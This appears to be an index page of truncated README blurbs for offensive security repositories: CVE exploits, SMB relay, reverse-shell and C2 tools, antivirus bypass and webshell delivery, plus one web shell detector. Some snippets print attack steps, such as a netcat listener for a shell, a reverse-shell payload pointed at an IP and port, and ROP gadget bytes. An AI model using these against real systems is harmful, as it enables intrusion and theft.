CVE-2024-3400

CVE-2024-3400 Exploit for GlobalProtect CVE-2024-3400 This exploit targets the original vulnerability, so the firewall must be running a vulnerable PAN-OS version and must have telemetry enabled. Ref: https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ Sample...

relayer

Relayer - SMB中继攻击脚本 Relayer是一个SMB中继攻击脚本，可自动化扫描系统中SMB签名禁用情况，并将身份验证请求中继到这些系统，以获取shell。非常适合在执行渗透测试时使用。 Relayer利用多种工具创建和交付payload，用户可以选择最适合的方法或工具： 来自trustedsec的Unicorn，请参见 https://github.com/trustedsec/unicorn Ps1encode https://github.com/CroweCybersecurity/ps1encode 用于生成并编码基于PowerShell的metasploit...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred ESTE \space EXPLOIT \space PUEDE \space VIOLAR \space LA \space LEY.$$ $$\colorred\space USTED \space ES \space RESPONSABLE \space DE \space SUS \space ACCIONES.$$ $$\colorredSOLO \space CON \space FINES \space DE \space DEMOSTRACIÓN.$$ DESCRIPCIÓN RCE por usuarios no...

LinPwn

LinPwn 关于 LinPwn 是一个交互式工具，旨在帮助您进行后期利用枚举和权限提升。 连接 在 Connection 类中设置您希望其连接的IP和端口。 将 LinPwn 二进制文件放置在目标机器上。 在您的机器上运行 nc -lvp PORT，然后在目标机器上运行 LinPwn 以获取连接。 用法 1. shell - 此命令执行 /bin/sh 示例用法：LinPwn: Shell id 输入 exit 返回到 LinPwn。 2. readfile - 此命令将打印文件的内容。 示例用法：LinPwn: ReadFile /etc/passwd 输入 exit 返回到...

CVE-2018-3191-Rce-Exploit

CVE-2018-3191-Rce-Exploit Autor: Break Paso 1: java -jar GenPayload.java output SJpayload.bin, la dirección es la dirección del servidor RMI Paso 2:java -jar RMISERVER.jar httpaddress, el servidor RMI escucha en el puerto 1099 y carga las clases Reverse remotas en el servidor web Paso 3:coloca do...

gitbleed_tools

GitBleed Tools - for extracting data from mirrorred git repositories About This repo contains shell scripts that can be used to download and analyze differences between cloned and mirror Git repositories. For more information about the underlying quirk in Git behavior, please visit read our blog...

PHP-Shell-Detector

Detector de Web Shells Web Shell Detector – es un script PHP que te ayuda a encontrar e identificar shells php/cgiperl/asp/aspx. Web Shell Detector cuenta con una base de datos de firmas de "web shells" que permite identificar "web shell" hasta en un 99%. Gracias al uso de las últimas tecnologías...

SMShell

SMShell 基于SMS的shell的概念验证。通过短信从支持移动宽带功能的计算机发送命令并接收响应。 该工具的灵感来源于Markus Vervier对eSIM安全影响的研究，该研究在Offensivecon 2023上展示。 免责声明 这不是一个完整的C2，而是一个简单的概念验证，用于通过SMS远程执行命令。 需求 为了使shell正常工作，您需要能够发送短信的设备。受害者的计算机应配备WWAN模块，并部署了物理SIM或eSIM。 在操作员端，提供了两个工具： 使用嵌入式WWAN模块的.NET二进制文件 通过API使用外部华为MiFi的Python脚本...

zip-shotgun

ZIP Shotgun Script de utilidad para probar la funcionalidad de carga de archivos zip y posible extracción de archivos zip en busca de vulnerabilidades también conocido como Zip Slip. La idea de este script proviene de esta publicación en Silent Signal Techblog - Compressed File Upload And Command...

zip-shotgun

ZIP Shotgun Utility script to test zip file upload functionality and possible extraction of zip files for vulnerabilities aka Zip Slip. Idea for this script comes from this post on Silent Signal Techblog - Compressed File Upload And Command Execution and from OWASP - Test Upload of Malicious File...

faxhell

faxhell "Fax Shell" Un shell de enlace de prueba de concepto que utiliza el servicio Fax y un secuestro de DLL basado en Ualapi.dll. Consulte nuestro análisis en: https://windows-internals.com/faxing-your-way-to-system/ Cómo usar Compila Ualapi.dll y colócalo en c:\windows\system32 Inicia el...

log4j-rce-test

Compilar ./build.sh Iniciar el servidor RCE de log4j ./start-log4j-rce-server.sh Probar Ejecuta java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Comprueba si obtienes logs en hack.log desde el directorio actual Puedes cambiar esta línea String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString ...

RancidCrisco

RancidCrisco CVE-2023-20126 的最小可行 PoC 这是初始版本。它可用，但属于“最简单情况”的利用。 已在 SPA112/SPA122 上测试并生效 —— SPA232D 需要不同的固件镜像。 在 TCP 23000 端口提供 root shell。 我仍需清理用于编辑固件的工具链，可能会将其放在另一个仓库中。该工具链主要基于 @BigNerd95 的工作，但针对 SPA112/122 固件文件做了少量修改。 演示 $ python3 CVE-2023-20126.py http://192.168.0.152 CFW.bin Base URL:...

CVE-2023-26067

CVE-2023-34362 POCs para volcado de credenciales, shells inversas y reproducción de música abusando de una inyección de comandos, CVE-2023-26067, que afecta a impresoras Lexmark. Análisis Técnico Un análisis técnico de la causa raíz de la vulnerabilidad se puede encontrar en nuestro blog:...

CVE-2024-21762

CVE-2024-21762 Fortinet FortiOS 中的越界写入漏洞 CVE-2024-21762 Exploit POC 来自 assetnote ssldohandshakeptr = b"%60%ce%42%00%00%00%00%00" getcwdptr = b"%70%62%2c%04%00%00%00%00" pivot1 = b"%52%f7%fd%00%00%00%00%00" push rdi; pop rsp; ret; pivot2 = b"%ac%c9%ab%02%00%00%00%00" add rsp, 0x2a0; pop rbx; pop...

winspy

WinSpy winspy：Windows反向Shell后门生成器（带IP毒化） 依赖项 1 - metasploit-framework 2 - xterm 3 - apache2 安装 sudo apt-get install git git clone https://github.com/TunisianEagles/winspy.git cd winspy chmod +x setup.sh ./setup.sh chmod +x winspy.sh ./winspy.sh 截图 已在以下系统测试： BackBox Linux Kali linux Parrot os 教程...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] 单个获取 python sendwebshellmail.py https://mail16.echod.com crack 批量从mail.txt 读取邮件，进行尝试获取SID token python sendwebshellmail.py https://mail16.echod.com [email protected] send 只发送webshell 草稿邮件 python sendwebshellmail.py...

AVBypass

绕过杀毒软件保护 要求 已安装 golang 用法 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go 3 - now you have exe file to execute run netcat 4 - you will receive...

sak1to-shell

sak1to-shell Multi-threaded, multi-os/platform Linux/Windows c2 server and Windows reverse TCP shell client both written in C. Compiling reverse TCP shell client with i686-w64-mingw32-gcc: i686-w64-mingw32-gcc sakitorevshell.c lib/windows/sakitowincore.c -o sakitorevshell.exe -s -ffunction-sectio...

sak1to-shell

sak1to-shell 多线程、多操作系统/平台（Linux/Windows）的C2服务器和Windows反向TCP Shell客户端，皆用C语言编写。 使用i686-w64-mingw32-gcc编译反向TCP Shell客户端： i686-w64-mingw32-gcc sakitorevshell.c lib/windows/sakitowincore.c -o sakitorevshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc...